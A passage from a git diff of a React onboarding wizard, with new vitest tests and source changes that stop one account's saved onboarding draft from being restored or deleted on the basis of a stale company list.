+      await openOnAgentStep();
+      await pickRole();
+
+      const next = [...document.body.querySelectorAll("button")].find((b) =>
+        b.textContent?.includes("Next"),
+      )!;
+      await act(async () => {
+        next.dispatchEvent(new MouseEvent("click", { bubbles: true }));
+      });
+      await settle();
+
+      const connect = [...document.body.querySelectorAll("button")].find((b) =>
+        b.textContent?.includes("Connect"),
+      )!;
+      expect(connect.hasAttribute("disabled")).toBe(false);
+      await act(async () => {
+        connect.dispatchEvent(new MouseEvent("click", { bubbles: true }));
+      });
+      await settle();
+
+      expect(mockAgentsApi.saveInstructionsFile).toHaveBeenCalled();
+      const [, file] = mockAgentsApi.saveInstructionsFile.mock.calls[0];
+      expect(file.content).toContain("Scale the marketplace");
+      expect(file.content).toContain("Reach 1000 sellers");
+    });
+
+    it("will not hire while the mission is being re-read", async () => {
+      // Cached goals plus an in-flight refetch: the field holds the right
+      // company's mission, but not necessarily its current one. Hiring inside
+      // that window seeds the agent from a value about to change, and reports
+      // nothing — the same "retained data is not an answer" rule the draft
+      // ownership gate follows.
+      await openOnAgentStep();
+      await pickRole();
+
+      const next = [...document.body.querySelectorAll("button")].find((b) =>
+        b.textContent?.includes("Next"),
+      )!;
+      await act(async () => {
+        next.dispatchEvent(new MouseEvent("click", { bubbles: true }));
+      });
+      await settle();
+      expect(
+        [...document.body.querySelectorAll("button")]
+          .find((b) => b.textContent?.includes("Connect"))!
+          .hasAttribute("disabled"),
+      ).toBe(false);
+
+      mockGoalsApi.list.mockReturnValue(new Promise(() => {}));
+      await act(async () => {
+        queryClient.invalidateQueries({
+          queryKey: queryKeys.goals.list("company-1"),
+        });
+      });
+      await settle(2);
+
+      const connect = [...document.body.querySelectorAll("button")].find((b) =>
+        b.textContent?.includes("Connect"),
+      )!;
+      expect(connect.hasAttribute("disabled")).toBe(true);
+      expect(mockAgentsApi.hire).not.toHaveBeenCalled();
+    });
+
+    it("hydrates again when the same company comes back through onboarding", async () => {
+      // The hydration marker is a ref, so it outlives the state it describes.
+      // `reset()` clears the mission field; leaving the marker set would make
+      // the second run believe a mission it no longer holds was already
+      // fetched — and hire the agent without it, exactly as before this fix.
+      await openOnAgentStep();
+
+      const close = [...document.body.querySelectorAll("button")].find((b) =>
+        b.querySelector(".sr-only")?.textContent?.includes("Close"),
+      );
+      expect(close).toBeDefined();
+      await act(async () => {
+        close!.dispatchEvent(new MouseEvent("click", { bubbles: true }));
+      });
+      await settle();
+      // `reset()` ran: the wizard is back at the front door with a cleared
+      // mission field, which is precisely the state the marker must not
+      // outlive.
+      expect(currentStep()).not.toBe("agent");
+
+      routerState.pathname = "/";
+      await rerender();
+      await settle();
+      routerState.pathname = "/PC1/onboarding";
+      dialogState.onboardingRouteDismissed = false;
+      await rerender();
+      await settle();
+      expect(currentStep()).toBe("agent");
+      await pickRole();
+
+      const next = [...document.body.querySelectorAll("button")].find((b) =>
+        b.textContent?.includes("Next"),
+      )!;
+      await act(async () => {
+        next.dispatchEvent(new MouseEvent("click", { bubbles: true }));
+      });
+      await settle();
+      const connect = [...document.body.querySelectorAll("button")].find((b) =>
+        b.textContent?.includes("Connect"),
+      )!;
+      await act(async () => {
+        connect.dispatchEvent(new MouseEvent("click", { bubbles: true }));
+      });
+      await settle();
+
+      expect(mockAgentsApi.saveInstructionsFile).toHaveBeenCalled();
+      const [, file] = mockAgentsApi.saveInstructionsFile.mock.calls.at(-1)!;
+      expect(file.content).toContain("Scale the marketplace");
+    });
+
+    it("hires the agent with the role the customer picked", async () => {
+      // The role was hardcoded to "ceo" before the role select existed. A
+      // dropdown that renders but does not reach the hire call would look
+      // entirely correct on screen and silently mis-file every agent.
+      await openOnAgentStep();
+      // Deliberately not the first option: "ceo" is what the hardcoded value
+      // was, so a test that picked it could not tell a wired dropdown from an
+      // ignored one.
+      await pickRole("Engineer");
+
+      const next = [...document.body.querySelectorAll("button")].find((b) =>
+        b.textContent?.includes("Next"),
+      )!;
+      await act(async () => {
+        next.dispatchEvent(new MouseEvent("click", { bubbles: true }));
+      });
+      await settle();
+      const connect = [...document.body.querySelectorAll("button")].find((b) =>
+        b.textContent?.includes("Connect"),
+      )!;
+      await act(async () => {
+        connect.dispatchEvent(new MouseEvent("click", { bubbles: true }));
+      });
+      await settle();
+
+      expect(mockAgentsApi.hire).toHaveBeenCalled();
+      const [, payload] = mockAgentsApi.hire.mock.calls.at(-1)!;
+      expect(payload.role).toBe("engineer");
+      // Picking a role also renamed the agent, since the field still held the
+      // name the wizard supplied.
+      expect(payload.name).toBe("Engineer");
+    });
+
+    it("does not offer a way back behind the step it entered on", async () => {
+      // Step 1 creates a company. A run that already holds one must not be
+      // able to walk into it, by the Back button or the progress bar.
+      await openOnAgentStep();
+
+      const back = [...document.body.querySelectorAll("button")].find((b) =>
+        b.textContent?.includes("Back"),
+      );
+      expect(back).toBeUndefined();
+
+      // The progress strip's segments are the only jump controls on this
+      // screen. Entering here means there is nowhere behind to return to, so
+      // every one of them is inert — asserted over the whole set rather than
+      // one segment, since a single enabled one is the whole defect.
+      const segments = [...document.body.querySelectorAll("button")].filter((b) =>
+        ["Create your first agent", "Connect a model", "Review"].includes(
+          b.getAttribute("aria-label") ?? "",
+        ),
+      ) as HTMLButtonElement[];
+      expect(segments).toHaveLength(3);
+      expect(segments.every((segment) => segment.disabled)).toBe(true);
+
+      // And company creation is genuinely unreachable, not merely unlinked.
+      expect(document.body.textContent).not.toContain("Name your company");
+    });
+  });
 });
diff --git a/ui/src/components/OnboardingWizard.test.tsx b/ui/src/components/OnboardingWizard.test.tsx
index dc985e99839..cb7e184721e 100644
--- a/ui/src/components/OnboardingWizard.test.tsx
+++ b/ui/src/components/OnboardingWizard.test.tsx
@@ -7,6 +7,16 @@ import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
 
 // --- Mocks (hoisted so vi.mock factories can close over them) ----------------
 
+// The company list is keyed by account, so it holds until the session query
+// *succeeds*. A seeded entry is stale under the test client and refetches, so
+// the refetch has to answer too — otherwise the identity errors and the list
+// never runs.
+const mockAuthApi = vi.hoisted(() => ({ getSession: vi.fn() }));
+vi.mock("../api/auth", async (importOriginal) => {
+  const actual = await importOriginal<typeof import("../api/auth")>();
+  return { ...actual, authApi: { ...actual.authApi, getSession: mockAuthApi.getSession } };
+});
+
 const mockDialog = vi.hoisted(() => ({
   onboardingOpen: true,
   onboardingOptions: {} as { initialStep?: number; companyId?: string },
@@ -23,8 +33,13 @@ const mockCompany = vi.hoisted(() => ({
 }));
 
 const mockCompaniesApi = vi.hoisted(() => ({
+  detachInflightList: vi.fn(),
   create: vi.fn(),
   update: vi.fn(),
+  // The gate fetches the list itself now, rather than reading the shared
+  // cache, so ownership cases are driven from here. `mockCompany.companies`
+  // below still feeds the *inner* wizard, which is a different question.
+  list: vi.fn(),
 }));
 const mockGoalsApi = vi.hoisted(() => ({
   create: vi.fn(),
@@ -113,6 +128,8 @@ vi.mock("./AsciiArtAnimation", () => ({ AsciiArtAnimation: () => null }));
 vi.mock("./FrontDoor", () => ({ FrontDoor: () => null }));
 vi.mock("./AgentCapsule", () => ({ AgentCapsule: () => null }));
 
+import { ApiError } from "../api/client";
+import { queryKeys } from "../lib/queryKeys";
 import { ONBOARDING_STORAGE_KEY, OnboardingWizard } from "./OnboardingWizard";
 
 // eslint-disable-next-line @typescript-eslint/no-explicit-any
@@ -125,6 +142,8 @@ async function flushReact() {
   });
 }
 
+const SESSION_USER_ID = "user-b";
+
 function render() {
   const container = document.createElement("div");
   document.body.appendChild(container);
@@ -132,11 +151,21 @@ function render() {
   const queryClient = new QueryClient({
     defaultOptions: { queries: { retry: false } },
   });
+  // The company list is keyed by account, so it stays disabled until the
+  // session is known. Seeding it is how these tests say "signed in as B".
+  queryClient.setQueryData(queryKeys.auth.session, {
+    session: { id: "session-b", userId: SESSION_USER_ID },
+    user: { id: SESSION_USER_ID, name: "B", email: "b@example.com", image: null },
+  });
   return { container, root, queryClient };
 }
 
 describe("OnboardingWizard restore-gate (stale localStorage across accounts)", () => {
   beforeEach(() => {
+    mockAuthApi.getSession.mockResolvedValue({
+      session: { id: "session-b", userId: SESSION_USER_ID },
+      user: { id: SESSION_USER_ID, name: "B", email: "b@example.com", image: null },
+    });
     window.localStorage.clear();
     mockDialog.onboardingOpen = true;
     mockDialog.onboardingOptions = {};
@@ -144,6 +173,7 @@ describe("OnboardingWizard restore-gate (stale localStorage across accounts)", (
     mockCompany.companies = [];
     mockCompany.loading = false;
     mockCompany.error = null;
+    mockCompaniesApi.list.mockResolvedValue([]);
     mockAdapterRegistry.list = [];
     mockAdapterRegistry.disabled = new Set<string>();
     mockCompaniesApi.create.mockResolvedValue({
@@ -186,6 +216,15 @@ describe("OnboardingWizard restore-gate (stale localStorage across accounts)", (
     mockDialog.onboardingOptions = {};
     mockCompany.companies = [];
     mockCompany.loading = true;
+    // Deferred rather than swapped later: the gate's fetch fires on the first
+    // render, so replacing the mock afterwards would never reach it.
+    let resolveList: (companies: Array<{ id: string; name: string; issuePrefix: string }>) => void =
+      () => {};
+    mockCompaniesApi.list.mockReturnValue(
+      new Promise<Array<{ id: string; name: string; issuePrefix: string }>>((resolve) => {
+        resolveList = resolve;
+      }),
+    );
 
     const { container, root, queryClient } = render();
     const renderTree = () =>
@@ -208,6 +247,9 @@ describe("OnboardingWizard restore-gate (stale localStorage across accounts)", (
     // Companies resolve asynchronously, owning the saved company.
     mockCompany.companies = [{ id: "c1", name: "Saved Co", issuePrefix: "SC" }];
     mockCompany.loading = false;
+    await act(async () => {
+      resolveList([{ id: "c1", name: "Saved Co", issuePrefix: "SC" }]);
+    });
 
     await renderTree();
     await flushReact();
@@ -217,11 +259,16 @@ describe("OnboardingWizard restore-gate (stale localStorage across accounts)", (
     // (step 0, "Chief of staff").
     expect(document.body.textContent).toContain("Create your first agent");
     const nameInput = document.body.querySelector(
-      'input[placeholder="Chief of staff"]',
+      "#onboarding-agent-name",
     ) as HTMLInputElement | null;
     expect(nameInput?.value).toBe("Ops Lead");
+    // The run entered on the agent arc, so the arc strip is the progress
+    // indicator and counts 1-3 over the wizard's steps 3-5. Segments are
+    // labelled by destination: the wizard has its own numbering, and two
+    // controls both announcing "Step 1" would mean different things.
     const currentStep = document.body.querySelector('[aria-current="step"]');
-    expect(currentStep?.getAttribute("aria-label")).toBe("Step 3");
+    expect(currentStep?.getAttribute("aria-label")).toBe("Create your first agent");
+    expect(document.body.textContent).toContain("Step 1 of 3");
 
     await act(async () => {
       root.unmount();
@@ -242,6 +289,9 @@ describe("OnboardingWizard restore-gate (stale localStorage across accounts)", (
     );
     mockCompany.companies = [{ id: "company-new", name: "My Co", issuePrefix: "MC" }];
     mockCompany.loading = false;
+    mockCompaniesApi.list.mockResolvedValue([
+      { id: "company-new", name: "My Co", issuePrefix: "MC" },
+    ]);
 
     const { root, queryClient } = render();
     await act(async () => {
@@ -281,6 +331,7 @@ describe("OnboardingWizard restore-gate (stale localStorage across accounts)", (
     mockCompany.companies = [];
     mockCompany.loading = false;
     mockCompany.error = new Error("company list unavailable");
+    mockCompaniesApi.list.mockRejectedValue(new Error("company list unavailable"));
 
     const { root, queryClient } = render();
     await act(async () => {
@@ -298,7 +349,7 @@ describe("OnboardingWizard restore-gate (stale localStorage across accounts)", (
     expect(document.body.textContent).not.toBe("");
     // The draft is not restored, because ownership cannot be verified...
     const nameInput = document.body.querySelector(
-      'input[placeholder="Chief of staff"]',
+      "#onboarding-agent-name",
     ) as HTMLInputElement | null;
     expect(nameInput?.value ?? "").not.toBe("Ops Lead");
     // ...and not deleted either. The wizard is open in this harness, so the
@@ -371,6 +422,7 @@ describe("OnboardingWizard restore-gate (stale localStorage across accounts)", (
     mockCompany.companies = [{ id: "c1", name: "Saved Co", issuePrefix: "SC" }];
     mockCompany.loading = false;
     mockCompany.error = new Error("refetch failed");
+    mockCompaniesApi.list.mockRejectedValue(new Error("refetch failed"));
 
     const { root, queryClient } = render();
     await act(async () => {
@@ -386,7 +438,7 @@ describe("OnboardingWizard restore-gate (stale localStorage across accounts)", (
     expect(document.body.textContent).not.toBe("");
     // ...but the draft was not restored, because the list cannot be trusted.
     const nameInput = document.body.querySelector(
-      'input[placeholder="Chief of staff"]',
+      "#onboarding-agent-name",
     ) as HTMLInputElement | null;
     expect(nameInput?.value ?? "").not.toBe("Ops Lead");
 
@@ -452,6 +504,7 @@ describe("OnboardingWizard restore-gate (stale localStorage across accounts)", (
     mockCompany.companies = [];
     mockCompany.loading = false;
     mockCompany.error = new Error("company list unavailable");
+    mockCompaniesApi.list.mockRejectedValue(new Error("company list unavailable"));
 
     const { root, queryClient } = render();
     await act(async () => {
@@ -471,11 +524,15 @@ describe("OnboardingWizard restore-gate (stale localStorage across accounts)", (
   });
   it("does not hand one account's draft to the next when a refetch fails after a switch", async () => {
     // The attack path in full. Account A onboards and leaves a draft naming
-    // its company. A signs out — which does not clear the companies cache,
-    // because `useSignOut` invalidates only the session and health queries.
-    // B signs in and the companies refetch fails, so A's list is still in
+    // its company. The account then changes without this component's company
+    // cache being cleared, and the refetch fails, so A's list is still in
     // hand. A list that still contains A's company must not be read as proof
     // that B owns it.
+    //
+    // `useSignOut` now resets account-scoped caches, which closes the
+    // sign-out-button route into this state (see its own regression test). The
+    // gate is asserted here independently of that: it must hold for any route
+    // that leaves a stale list behind, not only the one that has been fixed.
     window.localStorage.setItem(
       ONBOARDING_STORAGE_KEY,
       JSON.stringify({
@@ -491,6 +548,7 @@ describe("OnboardingWizard restore-gate (stale localStorage across accounts)", (
     mockCompany.companies = [{ id: "company-a", name: "Account A Co", issuePrefix: "AAC" }];
     mockCompany.loading = false;
     mockCompany.error = new Error("refetch failed for the new account");
+    mockCompaniesApi.list.mockRejectedValue(new Error("refetch failed for the new account"));
 
     const { root, queryClient } = render();
     await act(async () => {
@@ -505,10 +563,200 @@ describe("OnboardingWizard restore-gate (stale localStorage across accounts)", (
     // Account A's agent name must not appear in account B's wizard.
     expect(document.body.textContent).not.toContain("A's Lead");
     const nameInput = document.body.querySelector(
-      'input[placeholder="Chief of staff"]',
+      "#onboarding-agent-name",
     ) as HTMLInputElement | null;
     expect(nameInput?.value ?? "").not.toBe("A's Lead");
 
+    await act(async () => {
+      root.unmount();
+    });
+  });
+  it("does not judge ownership against a warm cache that never refetched", async () => {
+    // The door this whole change exists to shut, and the one the previous
+    // version missed. `main.tsx` sets `staleTime: 30_000`, so for thirty
+    // seconds after a sign-in the company list is served straight from cache
+    // with no request — and `Auth.tsx` invalidates on sign-in but invalidation
+    // keeps serving the old data while refetching. Either way account A's
+    // companies arrive with *no loading state and no error*, so a gate keyed
+    // on "not loading, no error" reads them as authoritative.
+    //
+    // Here the context reports exactly that healthy-looking stale state, and
+    // the fetch for this session has not answered. A's draft must not be
+    // restored on the strength of A's cached list.
+    window.localStorage.setItem(
+      ONBOARDING_STORAGE_KEY,
+      JSON.stringify({
+        step: 3,
+        companyName: "Account A Co",
+        agentName: "A's Lead",
+        createdCompanyId: "company-a",
+      }),
+    );
+    // The shared cache still holds A's list, and looks entirely healthy.
+    mockCompany.companies = [{ id: "company-a", name: "Account A Co", issuePrefix: "AAC" }];
+    mockCompany.loading = false;
+    mockCompany.error = null;
+    // The list fetched for *this* session answers with B's companies, which
+    // do not include A's. Note the fetch must actually complete: leaving it
+    // pending would keep the wizard unmounted and the assertion below would
+    // hold for the wrong reason.
+    mockCompaniesApi.list.mockResolvedValue([
+      { id: "company-b", name: "Account B Co", issuePrefix: "BBC" },
+    ]);
+
+    const { root, queryClient } = render();
+    await act(async () => {
+      root.render(
+        <QueryClientProvider client={queryClient}>
+          <OnboardingWizard />
+        </QueryClientProvider>,
+      );
+    });
+    await flushReact();
+
+    // Mounted — so this is a real observation, not an unmounted false pass.
+    expect(document.body.textContent).not.toBe("");
+    expect(document.body.textContent).not.toContain("A's Lead");
+    const nameInput = document.body.querySelector(
+      "#onboarding-agent-name",
+    ) as HTMLInputElement | null;
+    expect(nameInput?.value ?? "").not.toBe("A's Lead");
+
+    await act(async () => {
+      root.unmount();
+    });
+  });
+
+  it("does not delete a draft when the company list comes back unauthorized", async () => {
+    // `companiesListQueryOptions` folds 401/403 into
+    // `{ companies: [], unauthorized: true }` rather than throwing, so an auth
+    // blip arrives as a successful fetch of an empty list — which reads as
+    // "this account owns nothing" and would delete the draft.
+    window.localStorage.setItem(
+      ONBOARDING_STORAGE_KEY,
+      JSON.stringify({ step: 3, companyName: "Saved Co", createdCompanyId: "c1" }),
+    );
+    mockCompaniesApi.list.mockRejectedValue(
+      new ApiError("forbidden", 403, null),
+    );
+
+    const { root, queryClient } = render();
+    await act(async () => {
+      root.render(
+        <QueryClientProvider client={queryClient}>
+          <OnboardingWizard />
+        </QueryClientProvider>,
+      );
+    });
+    await flushReact();
+
+    expect(window.localStorage.getItem(ONBOARDING_STORAGE_KEY)).not.toBeNull();
+
+    await act(async () => {
+      root.unmount();
+    });
+  });
+  it("does not restore against data retained from a failed post-mount refetch", async () => {
+    // The gate's weak point if it only asks "was there a fetch after mount,
+    // and is there data". React Query keeps the last successful `data` when a
+    // refetch fails — so after an account switch the retained value is the
+    // *previous* account's list, and accepting it restores their draft.
+    window.localStorage.setItem(
+      ONBOARDING_STORAGE_KEY,
+      JSON.stringify({
+        step: 3,
+        companyName: "Account A Co",
+        agentName: "A's Lead",
+        createdCompanyId: "company-a",
+      }),
+    );
+    const { root, queryClient } = render();
+    // A's list, already in the cache from their session.
+    queryClient.setQueryData(queryKeys.companies.list(SESSION_USER_ID), {
+      companies: [{ id: "company-a", name: "Account A Co", issuePrefix: "AAC" }],
+      unauthorized: false,
+    });
+    // B's session: the refetch fails, so A's data is retained.
+    mockCompaniesApi.list.mockRejectedValue(new Error("refetch failed"));
+
+    await act(async () => {
+      root.render(
+        <QueryClientProvider client={queryClient}>
+          <OnboardingWizard />
+        </QueryClientProvider>,
+      );
+    });
+    await flushReact();
+
+    // Mounted, so this observes the real thing rather than an empty document.
+    expect(document.body.textContent).not.toBe("");
+    expect(document.body.textContent).not.toContain("A's Lead");
+    const nameInput = document.body.querySelector(
+      "#onboarding-agent-name",
+    ) as HTMLInputElement | null;
+    expect(nameInput?.value ?? "").not.toBe("A's Lead");
+
+    await act(async () => {
+      root.unmount();
+    });
+  });
+  it("does not mount undecided over a warm cache, which would overwrite the draft", async () => {
+    // The customer's own draft, their own companies already cached, and a
+    // refetch in flight. `isLoading` is false whenever retained data exists,
+    // so a gate keyed on it would mount the wizard while ownership was still
+    // undecidable — and with the wizard open, the persist effect writes the
+    // wizard's state back on every change, overwriting their draft with
+    // defaults before the answer arrives.
+    const draft = JSON.stringify({
+      step: 3,
+      companyName: "Saved Co",
+      agentName: "Ops Lead",
+      createdCompanyId: "c1",
+    });
+    window.localStorage.setItem(ONBOARDING_STORAGE_KEY, draft);
+    const { root, queryClient } = render();
+    queryClient.setQueryData(queryKeys.companies.list(SESSION_USER_ID), {
+      companies: [{ id: "c1", name: "Saved Co", issuePrefix: "SC" }],
+      unauthorized: false,
+    });
+    mockCompaniesApi.list.mockReturnValue(new Promise(() => {}));
+
+    await act(async () => {
+      root.render(
+        <QueryClientProvider client={queryClient}>
+          <OnboardingWizard />
+        </QueryClientProvider>,
+      );
+    });
+    await flushReact();
+
+    // Nothing mounted, so nothing could have written over the draft.
+    expect(document.body.textContent).toBe("");
+    expect(window.localStorage.getItem(ONBOARDING_STORAGE_KEY)).toBe(draft);
+
+    await act(async () => {
+      root.unmount();
+    });
+  });
+  it("clears an unreadable draft without waiting on the company endpoint", async () => {
+    // Junk is junk whoever owns what, so judging it must not queue behind a
+    // request that cannot change the answer — nor issue one at all.
+    window.localStorage.setItem(ONBOARDING_STORAGE_KEY, "{not json");
+    const { root, queryClient } = render();
+    mockCompaniesApi.list.mockReturnValue(new Promise(() => {}));
+
+    await act(async () => {
+      root.render(
+        <QueryClientProvider client={queryClient}>
+          <OnboardingWizard />
+        </QueryClientProvider>,
+      );
+    });
+    await flushReact();
+
+    expect(window.localStorage.getItem(ONBOARDING_STORAGE_KEY)).toBeNull();
+    expect(mockCompaniesApi.list).not.toHaveBeenCalled();
+
     await act(async () => {
       root.unmount();
     });
diff --git a/ui/src/components/OnboardingWizard.tsx b/ui/src/components/OnboardingWizard.tsx
index 76f74211697..25c4af41cdb 100644
--- a/ui/src/components/OnboardingWizard.tsx
+++ b/ui/src/components/OnboardingWizard.tsx
@@ -1,15 +1,34 @@
 import { useEffect, useState, useMemo, useRef } from "react";
+import type { CSSProperties } from "react";
 import { useQuery, useQueryClient } from "@tanstack/react-query";
-import type { AdapterEnvironmentTestResult } from "@paperclipai/shared";
+import { MotionConfig, motion } from "motion/react";
+import type {
+  AdapterEnvironmentTestResult,
+  AgentRole,
+  Environment,
+  InstanceSettings,
+} from "@paperclipai/shared";
+import { AGENT_ROLES, AGENT_ROLE_LABELS } from "@paperclipai/shared";
+import { Label } from "./ui/label";
+import { Input } from "./ui/input";
+import { Select, SelectContent, SelectItem, SelectTrigger, SelectValue } from "./ui/select";
 import { useLocation, useNavigate, useParams } from "@/lib/router";
 import { useDialog } from "../context/DialogContext";
 import { useCompany } from "../context/CompanyContext";
 import { companiesApi } from "../api/companies";
+import { useCompanyListQuery } from "../api/companies-query";
 import { goalsApi } from "../api/goals";
 import { agentsApi } from "../api/agents";
 import { approvalsApi } from "../api/approvals";
 import { issuesApi } from "../api/issues";
 import { projectsApi } from "../api/projects";
+import { environmentsApi } from "../api/environments";
+import { instanceSettingsApi } from "../api/instanceSettings";
+import {
+  resolveAdapterTestEnvironmentId,
+  resolveLocalDefaultEnvironmentId,
+  resolveManagedSandboxEnvironmentId,
+} from "../lib/adapter-test-environment";
 import { queryKeys } from "../lib/queryKeys";
 import { Dialog, DialogPortal } from "@/components/ui/dialog";
 import {
@@ -43,15 +62,28 @@ import { buildNewAgentRuntimeConfig } from "../lib/new-agent-runtime-config";
 import { DEFAULT_CODEX_LOCAL_BYPASS_APPROVALS_AND_SANDBOX } from "@paperclipai/adapter-codex-local";
 import { DEFAULT_CURSOR_LOCAL_MODEL } from "@paperclipai/adapter-cursor-local";
 import { DEFAULT_GEMINI_LOCAL_MODEL } from "@paperclipai/adapter-gemini-local";
+import { DEFAULT_KIMI_LOCAL_MODEL } from "@paperclipai/adapter-kimi-local";
 import { DEFAULT_OPENCODE_LOCAL_MODEL, isValidOpenCodeModelId } from "@paperclipai/adapter-opencode-local";
 import {
+  canGoBackFromOnboardingStep,
+  canJumpToOnboardingStep,
   companyPrefixFromOnboardingPath,
   resolveRouteOnboardingOptions,
 } from "../lib/onboarding-route";
 import { useCompanyMission } from "../hooks/useCompanyMission";
+import {
+  isExistingCompanyMissionUnresolved,
+  planMissionPersistence,
+} from "../lib/onboarding-mission";
 import { AsciiArtAnimation } from "./AsciiArtAnimation";
 import { FrontDoor } from "./FrontDoor";
 import { AgentCapsule } from "./AgentCapsule";
+import { AGENT_ARC_WIZARD_STEPS, Stepper, agentArcStepFor } from "./onboarding/Stepper";
+import { AgentPreview } from "./onboarding/AgentPreview";
+import { FooterNav } from "./onboarding/FooterNav";
+import { OnboardingHeading } from "./onboarding/OnboardingPrimitives";
+import { DEFAULT_AGENT_NAME, nextAgentNameForRole } from "../lib/onboarding-agent-role";
+import { capsuleHeroMotion } from "./onboarding/onboarding-motion";
 import { Badge } from "@/components/ui/badge";
 import {
   Building2,
@@ -171,7 +203,8 @@ const INCOMPLETE_ONBOARDING_STATE_MESSAGE =
  * clear before computing `saved` and mounting the inner component at all.
  */
 export function OnboardingWizard() {
-  const { companies, loading: companiesLoading, error: companiesError } = useCompany();
+  // Deliberately does not call `useCompany()`. The list it exposes is the
+  // shared cache, which is what this gate must not trust - see below.
 
   // Parsed once (not re-parsed by the cleanup effect below) so the restored
   // value and the "should we wipe the blob" decision always agree.
@@ -185,48 +218,69 @@ export function OnboardingWizard() {
     }
   }, []);
 
-  // A failed company query is not an answer *when it left us with nothing*.
-  // React Query reports that as `isLoading === false` with `data` defaulted to
-  // an empty list, which reads exactly like "settled, and this account owns
-  // nothing" - and that verdict deletes the draft below. Discarding a
-  // customer's onboarding because their company request timed out is the one
-  // outcome here that cannot be undone.
+  // Whether this account owns the company the draft names is an authorization
+  // question, and the answer has to be about the account asking now.
   //
-  // An error with companies still in hand is a different thing: a background
-  // refetch failed over a cache that is still good. Blocking on that would
-  // fail closed, and onboarding would simply never appear for a customer whose
-  // list is fine. Only an error that leaves the list empty is undecidable.
-  // Named for what it governs: whether the *draft* can be judged. It is not
-  // the same question as whether to mount - see the gate below.
-  // Any error at all, not only one that left the list empty.
+  // The shared company cache could not answer it at all: one entry for every
+  // account, served for thirty seconds after a switch with no loading state and
+  // no error, so a check that trusted "not loading, no error" handed one
+  // account's draft to the next. The entry is keyed by account now, and that
+  // trap is gone with it.
   //
-  // The companies cache is not scoped to an account and survives sign-out -
-  // `useSignOut` invalidates only the session and health queries, and
-  // invalidation keeps serving the old data anyway. So after A signs out and B
-  // signs in, a *failed* refetch leaves A's companies in hand. Trusting a
-  // non-empty list there would find A's company id in it, call the draft
-  // owned, and hand A's onboarding to B - which is the exact leak this whole
-  // change exists to close, reached through a different door.
+  // What survives is smaller and still worth a request. A cached list is the
+  // right account's but can be thirty seconds old, so a company created moments
+  // ago in another tab is missing from it — and missing reads as "you do not own
+  // this", which deletes the draft rather than withholding it. So this still
+  // asks for a list fetched for this mount.
+  const companiesQuery = useCompanyListQuery({
+    staleTime: 0,
+    // Only a *parseable* saved draft poses the question. Without one there is
+    // nothing to authorize, and this must not add a request to every wizard
+    // mount - nor make the cleanup of unreadable junk wait on an endpoint that
+    // has no bearing on whether it is junk.
+    enabled: rawBlob !== undefined && rawBlob !== null,
+  });
+
+  // Decidable only with a list that succeeded, actually arrived, and that the
+  // server was willing to give us.
   //
-  // The cost is small and recoverable: during a transient refetch failure the
-  // draft is not restored. It is not deleted either, and the next successful
-  // load restores it.
+  // Whose list it is stopped being a question here: the entry is keyed by
+  // account, so the previous account's list is unreachable rather than merely
+  // rejected. What the checks still answer is whether there is an answer at all,
+  // and the reason that matters is the *destructive* branch below — an
+  // undecidable draft is withheld and recoverable, but a draft judged
+  // not-yours is deleted.
   //
-  // A truthy check rather than `!== null`. The context types this
-  // `Error | null`, but `undefined` reaches here from any consumer that
-  // provides the company context without an `error` key, and `undefined !==
-  // null` would read a healthy load as a failure.
-  const ownershipUndecidable = companiesLoading || Boolean(companiesError);
+  // `isSuccess`: React Query keeps the last good `data` through a failed
+  // refetch, and a retained list is not evidence about now.
+  //
+  // `staleTime: 0` on the query, still: a cached list is the right account's but
+  // can be thirty seconds old, and a company created moments ago in another tab
+  // would be missing from it — which reads as "this draft belongs to a company
+  // you do not own" and deletes it.
+  //
+  // `unauthorized`: the query folds 401 and 403 into
+  // `{ companies: [], unauthorized: true }` rather than throwing, so an auth
+  // blip arrives as a *successful* fetch of an empty list and would otherwise
+  // read as "this account owns nothing" and delete the draft.
+  const ownershipDecidable =
+    companiesQuery.isSuccess &&
+    companiesQuery.data !== undefined &&
+    !companiesQuery.data.unauthorized;
 
   const { saved, staleStateDetected } = useMemo(() => {
     if (rawBlob === undefined) return { saved: null, staleStateDetected: false };
-    // Companies not settled yet: restoreOnboardingState must not be called
-    // (see its CONTRACT). Not stale, just not decidable yet.
-    if (ownershipUndecidable) return { saved: null, staleStateDetected: false };
+    // Unreadable, so junk regardless of who owns what. Judged before the
+    // ownership check rather than after it, so clearing it does not wait on a
+    // company request that cannot change the answer.
     if (rawBlob === null) return { saved: null, staleStateDetected: true };
-    const restored = restoreOnboardingState(rawBlob, companies);
+    // Not decidable yet, or not decidable at all. Either way: restore nothing,
+    // delete nothing. A draft withheld is recoverable on the next load; a
+    // draft deleted, or one handed to the wrong account, is not.
+    if (!ownershipDecidable) return { saved: null, staleStateDetected: false };
+    const restored = restoreOnboardingState(rawBlob, companiesQuery.data!.companies);
     return { saved: restored, staleStateDetected: restored === null };
-  }, [rawBlob, ownershipUndecidable, companies]);
+  }, [rawBlob, ownershipDecidable, companiesQuery.data]);
 
   // A discarded/malformed state should not sit in storage waiting to confuse
   // the next onboarding attempt (e.g. a different signed-in user).
@@ -235,24 +289,27 @@ export function OnboardingWizard() {
     onboardingDraftStorage.clear();
   }, [staleStateDetected]);
 
-  // A saved blob exists and the company list is still in flight: wait rather
-  // than mount the inner wizard with a premature, and unrecoverable, guess at
-  // the draft.
+  // A saved blob exists and the verification fetch is still in flight: wait,
+  // rather than mount the inner wizard with a premature and unrecoverable
+  // guess at the draft. Its ~20 `useState(saved?.x ?? default)` initializers
+  // only read `saved` once.
   //
-  // Only while *loading*, not on error. An error with an empty list is still
-  // undecidable - nothing is restored and nothing is cleared, per the memo
-  // above - but withholding the wizard on top of that is a dead end, because
-  // the companies query sets `retry: false`. With no companies the dashboard
-  // offers a "Get Started" button that opens onboarding, and a gate that
-  // returned null here would make that button do nothing at all until a
-  // refetch happened to succeed.
+  // `isFetching`, not `isLoading`. `isLoading` is false whenever the cache
+  // holds retained data, so a refetch over a warm cache would mount the wizard
+  // while ownership was still undecidable - and with the wizard open, the
+  // persist effect would overwrite the customer's own draft with defaults
+  // before the answer arrived. `isFetching` covers the refetch too.
+  //
+  // While in flight, not on failure. The companies query sets `retry: false`,
+  // so a failed fetch stays failed; and with no companies the dashboard offers
+  // a "Get Started" button wired to onboarding, which a gate that returned null
+  // here would make do nothing at all.
   //
   // Mounting does not cost the draft. The persist effect that would overwrite
   // it is itself gated on `effectiveOnboardingOpen`, so a mounted-but-closed
-  // wizard writes nothing, and the blob survives for a later load that can
-  // decide. If the wizard *is* open the customer is onboarding right now,
-  // which supersedes the draft anyway.
-  if (rawBlob !== undefined && companiesLoading) {
